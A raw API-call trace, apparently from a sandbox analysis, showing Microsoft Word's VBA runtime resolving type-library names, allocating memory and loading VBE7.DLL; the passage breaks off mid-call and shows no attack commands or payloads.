IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e2080 [0123.000] strcpy_s (in: _Dst=0x2764ba55960, _DstSize=0x9, _Src="Document" | out: _Dst="Document") returned 0x0 [0123.000] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc8) returned 0x2764ba51a50 [0123.000] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2764af38928, ppTLib=0xb5690f21e8, pIndex=0xb5690f2228 | out: ppTLib=0xb5690f21e8*=0x276454c2ce0, pIndex=0xb5690f2228*=0x20e) returned 0x0 [0123.001] ITypeLib:RemoteGetLibAttr (in: This=0x276454c2ce0, ppTLibAttr=0xb5690f1ed8, pDummy=0x0 | out: ppTLibAttr=0xb5690f1ed8, pDummy=0x0) returned 0x0 [0123.001] ITypeLib:RemoteGetDocumentation (in: This=0x276454c2ce0, index=-1, refPtrFlags=0x690f1ef0, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2764b962610 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2764b962610*="㻀쑺翹") returned 0x0 [0123.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchWideChar=58, lpMultiByteStr=0xb5690f1f60, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB\x0fiµ", lpUsedDefaultChar=0x0) returned 58 [0123.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0xb5690f2070, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5 [0123.001] IUnknown:AddRef (This=0x276454c2ce0) returned 0x1c [0123.001] ITypeLib:LocalReleaseTLibAttr (This=0x276454c2ce0) returned 0x0 [0123.001] IUnknown:AddRef (This=0x2764af38928) returned 0x6 [0123.001] IUnknown:Release (This=0x276454c2ce0) returned 0x1c [0123.001] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38928) returned 0x0 [0123.001] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38928) returned 0x0 [0123.001] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x14) returned 0x2764b9e21e0 [0123.001] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e21e0) [0123.002] IUnknown:Release (This=0x2764af387c8) returned 0x1 [0123.002] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x2764b1a4fa0 [0123.002] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b844680, cb=0x110) returned 0x2764b752660 [0123.002] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefaultTargetFrame") returned 0x40a69c [0123.002] strcpy_s (in: _Dst=0xb5690f37f0, _DstSize=0x13, _Src="DefaultTargetFrame" | out: _Dst="DefaultTargetFrame") returned 0x0 [0123.002] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5690f37f0, cbMultiByte=19, lpWideCharStr=0xb5690f3640, cchWideChar=19 | out: lpWideCharStr="DefaultTargetFrame") returned 19 [0123.002] IUnknown:AddRef (This=0x276454bf8a0) returned 0x8 [0123.002] ITypeLib:RemoteIsName (in: This=0x276454bf8a0, szNameBuf="DefaultTargetFrame", lHashVal=0x40a69c, pfName=0xb5690f3710, pBstrLibName=0xb5690f3640 | out: pfName=0xb5690f3710*=0, pBstrLibName=0xb5690f3640) returned 0x0 [0123.002] IUnknown:Release (This=0x276454bf8a0) returned 0x7 [0123.002] IUnknown:AddRef (This=0x276454c2ce0) returned 0x1d [0123.002] ITypeLib:RemoteIsName (in: This=0x276454c2ce0, szNameBuf="DefaultTargetFrame", lHashVal=0x40a69c, pfName=0xb5690f3710, pBstrLibName=0xb5690f3640 | out: pfName=0xb5690f3710*=1, pBstrLibName=0xb5690f3640) returned 0x0 [0123.002] IUnknown:Release (This=0x276454c2ce0) returned 0x1c [0123.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DefaultTargetFrame", cchWideChar=-1, lpMultiByteStr=0xb5690f37f0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultTargetFrame", lpUsedDefaultChar=0x0) returned 19 [0123.002] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefaultTargetFrame") returned 0x40a69c [0123.002] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x50) returned 0x276528ed3a0 [0123.002] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x2764b730f40 [0123.003] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x3d0) returned 0x2764b9b0b60 [0123.035] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b962700 [0123.035] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e04c0 [0123.035] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2763c00e510 [0123.035] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764bb0a820 [0123.035] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764bb0aee0 [0123.035] IUnknown:AddRef (This=0x276454bf8a0) returned 0x8 [0123.035] IUnknown:QueryInterface (in: This=0x276454bf8a0, riid=0x7ff9be1cb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3760 | out: ppvObject=0xb5690f3760*=0x0) returned 0x80004002 [0123.036] ITypeLib:GetTypeComp (in: This=0x276454bf8a0, ppTComp=0xb5690f3758 | out: ppTComp=0xb5690f3758*=0x276454bf8b0) returned 0x0 [0123.036] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x38) returned 0x2765292b440 [0123.036] IUnknown:AddRef (This=0x276454bf8b0) returned 0xa [0123.036] IUnknown:Release (This=0x276454bf8b0) returned 0x9 [0123.036] IUnknown:Release (This=0x276454bf8a0) returned 0x8 [0123.036] IUnknown:AddRef (This=0x276454c2ce0) returned 0x1e [0123.036] IUnknown:QueryInterface (in: This=0x276454c2ce0, riid=0x7ff9be1cb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3760 | out: ppvObject=0xb5690f3760*=0x0) returned 0x80004002 [0123.036] ITypeLib:GetTypeComp (in: This=0x276454c2ce0, ppTComp=0xb5690f3758 | out: ppTComp=0xb5690f3758*=0x276454c2cf0) returned 0x0 [0123.036] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x38) returned 0x2765292b700 [0123.036] IUnknown:AddRef (This=0x276454c2cf0) returned 0x20 [0123.036] IUnknown:Release (This=0x276454c2cf0) returned 0x1f [0123.036] IUnknown:Release (This=0x276454c2ce0) returned 0x1e [0123.036] IUnknown:AddRef (This=0x276454c2a20) returned 0x14 [0123.036] IUnknown:QueryInterface (in: This=0x276454c2a20, riid=0x7ff9be1cb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3760 | out: ppvObject=0xb5690f3760*=0x0) returned 0x80004002 [0123.036] ITypeLib:GetTypeComp (in: This=0x276454c2a20, ppTComp=0xb5690f3758 | out: ppTComp=0xb5690f3758*=0x276454c2a30) returned 0x0 [0123.036] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x38) returned 0x2765292b780 [0123.036] IUnknown:AddRef (This=0x276454c2a30) returned 0x16 [0123.036] IUnknown:Release (This=0x276454c2a30) returned 0x15 [0123.036] IUnknown:Release (This=0x276454c2a20) returned 0x14 [0123.036] IUnknown:AddRef (This=0x276454c16e0) returned 0x5 [0123.036] IUnknown:QueryInterface (in: This=0x276454c16e0, riid=0x7ff9be1cb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3760 | out: ppvObject=0xb5690f3760*=0x0) returned 0x80004002 [0123.036] ITypeLib:GetTypeComp (in: This=0x276454c16e0, ppTComp=0xb5690f3758 | out: ppTComp=0xb5690f3758*=0x276454c16f0) returned 0x0 [0123.036] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x38) returned 0x2765292b9c0 [0123.036] IUnknown:AddRef (This=0x276454c16f0) returned 0x7 [0123.037] IUnknown:Release (This=0x276454c16f0) returned 0x6 [0123.037] IUnknown:Release (This=0x276454c16e0) returned 0x5 [0123.037] IUnknown:QueryInterface (in: This=0x2764af38878, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f37f8 | out: ppvObject=0xb5690f37f8*=0x0) returned 0x80004002 [0123.037] IUnknown:QueryInterface (in: This=0x2764af38878, riid=0x7ff9be1cf4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3800 | out: ppvObject=0xb5690f3800*=0x0) returned 0x80004002 [0123.037] ITypeInfo:GetTypeComp (in: This=0x2764af38878, ppTComp=0xb5690f3808 | out: ppTComp=0xb5690f3808*=0x2764af38880) returned 0x0 [0123.037] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x38) returned 0x2765292bd40 [0123.037] IUnknown:AddRef (This=0x2764af38880) returned 0x6 [0123.037] IUnknown:Release (This=0x2764af38880) returned 0x5 [0123.037] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x276528ed3a0, cb=0x60) returned 0x2764ba258f0 [0123.037] IUnknown:Release (This=0x2764af38878) returned 0x4 [0123.037] IUnknown:Release (This=0x2764af38878) returned 0x3 [0123.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x27651fa2b6a, cbMultiByte=19, lpWideCharStr=0xb5690f3770, cchWideChar=20 | out: lpWideCharStr="DefaultTargetFrame") returned 19 [0123.037] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x640) returned 0x2764b40d0f0 [0123.037] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b962370 [0123.037] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764bb0af20 [0123.037] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764bb0b050 [0123.037] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b962ac0 [0123.037] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2763c0156b0 [0123.037] ITypeComp:RemoteBind (in: This=0x2764af38880, szName="DefaultTargetFrame", lHashVal=0x40a69c, wFlags=0x3, ppTInfo=0xb5690f3728, pDescKind=0xb5690f373c, ppFuncDesc=0xb5690f3740, ppVarDesc=0x7ff9e7cfa5d3, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0xb5690f3728*=0x2764af38878, pDescKind=0xb5690f373c*=1, ppFuncDesc=0xb5690f3740, ppVarDesc=0x7ff9e7cfa5d3, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0123.038] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38878, ppTypeAttr=0xb5690f3730, pDummy=0x2764b6a1430 | out: ppTypeAttr=0xb5690f3730, pDummy=0x2764b6a1430*=0x0) returned 0x0 [0123.038] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38878) returned 0x0 [0123.038] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x2764af38878, memid=340, invkind=2, pFuncIndex=0xb5690f35d0 | out: pFuncIndex=0xb5690f35d0*=0xfc) returned 0x0 [0123.038] ITypeInfo2:GetFuncCustData (in: This=0x2764af38878, index=0xfc, GUID=0x7ff9be1d6f38*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0xb5690f35e8 | out: pVarVal=0xb5690f35e8*(varType=0x0, wReserved1=0x0, wReserved2=0x7ff9, wReserved3=0x0, varVal1=0xb5690f3690, varVal2=0x2764b730f40)) returned 0x0 [0123.038] IUnknown:Release (This=0x2764af38878) returned 0x4 [0123.038] IUnknown:AddRef (This=0x2764af38878) returned 0x5 [0123.038] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0123.038] IUnknown:Release (This=0x2764af38878) returned 0x4 [0123.038] IUnknown:QueryInterface (in: This=0x2764af38878, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f39c8 | out: ppvObject=0xb5690f39c8*=0x0) returned 0x80004002 [0123.038] IUnknown:AddRef (This=0x2764af38878) returned 0x5 [0123.038] IUnknown:Release (This=0x2764af38878) returned 0x5 [0123.038] IUnknown:QueryInterface (in: This=0x2764af38878, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3b28 | out: ppvObject=0xb5690f3b28*=0x0) returned 0x80004002 [0123.038] IUnknown:QueryInterface (in: This=0x2764af38878, riid=0x7ff9be1cf4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3b20 | out: ppvObject=0xb5690f3b20*=0x0) returned 0x80004002 [0123.038] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26d) returned 0x2764bb968f0 [0123.038] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb968f0) returned 0x26d [0123.038] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb968f0) returned 0x26d [0123.038] GetCurrentProcess () returned 0xffffffffffffffff [0123.038] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764bb968f0, dwSize=0x4c) returned 1 [0123.038] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb968f0) [0123.038] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38878, ppTypeAttr=0xb5690f3310, pDummy=0x0 | out: ppTypeAttr=0xb5690f3310, pDummy=0x0) returned 0x0 [0123.038] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38878) returned 0x0 [0123.039] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2764ba54350 [0123.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x27649a42dee, cbMultiByte=6, lpWideCharStr=0xb5690f3810, cchWideChar=5 | out: lpWideCharStr="Exec") returned 0 [0123.039] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2764bb7e7e0 [0123.039] wcscpy_s (in: _Destination=0x2764ba54418, _SizeInWords=0x5, _Source="Exec" | out: _Destination="Exec") returned 0x0 [0123.039] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26d) returned 0x2764bb98470 [0123.039] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb98470) returned 0x26d [0123.039] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb98470) returned 0x26d [0123.039] GetCurrentProcess () returned 0xffffffffffffffff [0123.039] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764bb98470, dwSize=0x4c) returned 1 [0123.039] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb98470) [0123.039] ITypeInfo:RemoteGetTypeAttr (in: This=0x2763c01e2d8, ppTypeAttr=0xb5690f3370, pDummy=0x0 | out: ppTypeAttr=0xb5690f3370, pDummy=0x0) returned 0x0 [0123.039] ITypeInfo:LocalReleaseTypeAttr (This=0x2763c01e2d8) returned 0x0 [0123.040] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26d) returned 0x2764bb98bf0 [0123.040] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb98bf0) returned 0x26d [0123.040] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb98bf0) returned 0x26d [0123.040] GetCurrentProcess () returned 0xffffffffffffffff [0123.040] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764bb98bf0, dwSize=0x4c) returned 1 [0123.040] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb98bf0) [0123.040] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764b8e9708, ppTypeAttr=0xb5690f35b0, pDummy=0x0 | out: ppTypeAttr=0xb5690f35b0, pDummy=0x0) returned 0x0 [0123.040] ITypeInfo:LocalReleaseTypeAttr (This=0x2764b8e9708) returned 0x0 [0123.040] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2764b533098, ppTLib=0xb5690f37b0, pIndex=0x0 | out: ppTLib=0xb5690f37b0*=0x276454bf8a0, pIndex=0x0) returned 0x0 [0123.040] ITypeLib:RemoteGetLibAttr (in: This=0x276454bf8a0, ppTLibAttr=0xb5690f37c0, pDummy=0x0 | out: ppTLibAttr=0xb5690f37c0, pDummy=0x0) returned 0x0 [0123.040] ITypeLib:LocalReleaseTLibAttr (This=0x276454bf8a0) returned 0x0 [0123.040] IUnknown:Release (This=0x276454bf8a0) returned 0x8 [0123.040] ITypeInfo:RemoteGetDllEntry (in: This=0x2764b533098, memid=1610612738, invkind=1, refPtrFlags=0x690f37b0, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x27644fa5cb0 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x27644fa5cb0*=0xf3f0) returned 0x0 [0123.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9be200b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0123.040] ITypeInfo:RemoteGetDllEntry (in: This=0x2764b533098, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xb5690f37b0, pBstrName=0x0, pwOrdinal=0xb5690f37d0 | out: pBstrDllName=0xb5690f37b0*=0x0, pBstrName=0x0, pwOrdinal=0xb5690f37d0*=0x3a40) returned 0x0 [0123.040] ITypeInfo:RemoteGetDllEntry (in: This=0x2764b533098, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xb5690f37b0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xb5690f37b0, pwOrdinal=0x500000000) returned 0x0 [0123.040] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26d) returned 0x2764bb977f0 [0123.040] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb977f0) returned 0x26d [0123.040] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb977f0) returned 0x26d [0123.041] GetCurrentProcess () returned 0xffffffffffffffff [0123.041] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764bb977f0, dwSize=0x4c) returned 1 [0123.041] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb977f0) [0123.041] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38878, ppTypeAttr=0xb5690f3430, pDummy=0x0 | out: ppTypeAttr=0xb5690f3430, pDummy=0x0) returned 0x0 [0123.041] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38878) returned 0x0 [0123.041] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b3df570, cb=0x31a) returned 0x2764ba15b20 [0123.041] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b78c2b0) [0123.041] GetCurrentProcess () returned 0xffffffffffffffff [0123.041] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764b66a9d0, dwSize=0x8) returned 1 [0123.041] GetCurrentProcess () returned 0xffffffffffffffff [0123.041] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764b66a918, dwSize=0x8) returned 1 [0123.041] GetCurrentProcess () returned 0xffffffffffffffff [0123.041] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764b66a9d0, dwSize=0x8) returned 1 [0123.041] GetCurrentProcess () returned 0xffffffffffffffff [0123.041] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764ba57f64, dwSize=0x4c) returned 1 [0123.041] RtlLookupFunctionEntry (in: ControlPc=0x2764ba57f64, ImageBase=0xb5690f3ab8, HistoryTable=0xb5690f3ac0 | out: ImageBase=0xb5690f3ab8, HistoryTable=0xb5690f3ac0) returned 0x0 [0123.041] VirtualProtect (in: lpAddress=0x2764ba57f64, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0xb5690f3bbc | out: lpflOldProtect=0xb5690f3bbc*=0x4) returned 1 [0123.042] RtlAddFunctionTable (FunctionTable=0x2764ba57fc0, EntryCount=0x1, BaseAddress=0x2764ba57f00, TargetGp=0x40) returned 1 [0123.045] GetCurrentProcess () returned 0xffffffffffffffff [0123.045] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764ba5805c, dwSize=0x4c) returned 1 [0123.045] RtlLookupFunctionEntry (in: ControlPc=0x2764ba5805c, ImageBase=0xb5690f3ab8, HistoryTable=0xb5690f3ac0 | out: ImageBase=0xb5690f3ab8, HistoryTable=0xb5690f3ac0) returned 0x0 [0123.045] VirtualProtect (in: lpAddress=0x2764ba5805c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0xb5690f3bbc | out: lpflOldProtect=0xb5690f3bbc*=0x4) returned 1 [0123.045] RtlAddFunctionTable (FunctionTable=0x2764ba580b8, EntryCount=0x1, BaseAddress=0x2764ba58000, TargetGp=0x40) returned 1 [0123.048] SetErrorMode (uMode=0x8001) returned 0x8005 [0123.048] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0123.048] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7ff9bde20000 [0123.048] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad00000223) returned 1 [0123.048] SetErrorMode (uMode=0x8005) returned 0x8005 [0123.049] GetProcAddress (hModule=0x7ff9bde20000, lpProcName=0x2cc) returned 0x7ff9be1668d8 [0123.049] GetCurrentProcess () returned 0xffffffffffffffff [0123.049] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764ba5814c, dwSize=0x4b) returned 1 [0123.049] RtlLookupFunctionEntry (in: ControlPc=0x2764ba5814c, ImageBase=0xb5690f3a58, HistoryTable=0xb5690f3a60 | out: ImageBase=0xb5690f3a58, HistoryTable=0xb5690f3a60) returned 0x0 [0123.049] VirtualProtect (in: lpAddress=0x2764ba5814c, dwSize=0x4c, flNewProtect=0x40, lpflOldProtect=0xb5690f3b5c | out: lpflOldProtect=0xb5690f3b5c*=0x40) returned 1 [0123.050] RtlAddFunctionTable (FunctionTable=0x2764ba581a4, EntryCount=0x1, BaseAddress=0x2764ba58100, TargetGp=0x40) returned 1 [0123.063] GetCurrentProcess () returned 0xffffffffffffffff [0123.063] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764ba5439c, dwSize=0x4c) returned 1 [0123.063] RtlLookupFunctionEntry (in: ControlPc=0x2764ba5439c, ImageBase=0xb5690f3ab8, HistoryTable=0xb5690f3ac0 | out: ImageBase=0xb5690f3ab8, HistoryTable=0xb5690f3ac0) returned 0x0 [0123.063] VirtualProtect (in: lpAddress=0x2764ba5439c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0xb5690f3bbc | out: lpflOldProtect=0xb5690f3bbc*=0x4) returned 1 [0123.064] RtlAddFunctionTable (FunctionTable=0x2764ba543f8, EntryCount=0x1, BaseAddress=0x2764ba54300, TargetGp=0x40) returned 1 [0123.069] IUnknown:AddRef (This=0x2764af38560) returned 0x4 [0123.069] IUnknown:QueryInterface (in: This=0x2764af38560, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4f88 | out: ppvObject=0xb5690f4f88*=0x0) returned 0x80004002 [0123.069] IUnknown:QueryInterface (in: This=0x2764af38560, riid=0x7ff9be1cf4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4f80 | out: ppvObject=0xb5690f4f80*=0x0) returned 0x80004002 [0123.069] IUnknown:Release (This=0x2764af38560) returned 0x3 [0123.069] IUnknown:AddRef (This=0x2764af38610) returned 0x4 [0123.069] IUnknown:QueryInterface (in: This=0x2764af38610, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4f88 | out: ppvObject=0xb5690f4f88*=0x0) returned 0x80004002 [0123.069] IUnknown:QueryInterface (in: This=0x2764af38610, riid=0x7ff9be1cf4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4f80 | out: ppvObject=0xb5690f4f80*=0x0) returned 0x80004002 [0123.069] IUnknown:Release (This=0x2764af38610) returned 0x3 [0123.069] IUnknown:AddRef (This=0x2764af40e88) returned 0x4 [0123.069] IUnknown:QueryInterface (in: This=0x2764af40e88, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4f88 | out: ppvObject=0xb5690f4f88*=0x0) returned 0x80004002 [0123.069] IUnknown:QueryInterface (in: This=0x2764af40e88, riid=0x7ff9be1cf4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4f80 | out: ppvObject=0xb5690f4f80*=0x0) returned 0x80004002 [0123.069] IUnknown:Release (This=0x2764af40e88) returned 0x3 [0123.069] IUnknown:AddRef (This=0x2763c01e2d8) returned 0x5 [0123.069] IUnknown:QueryInterface (in: This=0x2763c01e2d8, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4f88 | out: ppvObject=0xb5690f4f88*=0x0) returned 0x80004002 [0123.069] IUnknown:QueryInterface (in: This=0x2763c01e2d8, riid=0x7ff9be1cf4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4f80 | out: ppvObject=0xb5690f4f80*=0x0) returned 0x80004002 [0123.069] IUnknown:Release (This=0x2763c01e2d8) returned 0x4 [0123.069] IUnknown:AddRef (This=0x2764b8e9708) returned 0x4 [0123.069] IUnknown:QueryInterface (in: This=0x2764b8e9708, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4f88 | out: ppvObject=0xb5690f4f88*=0x0) returned 0x80004002 [0123.069] IUnknown:QueryInterface (in: This=0x2764b8e9708, 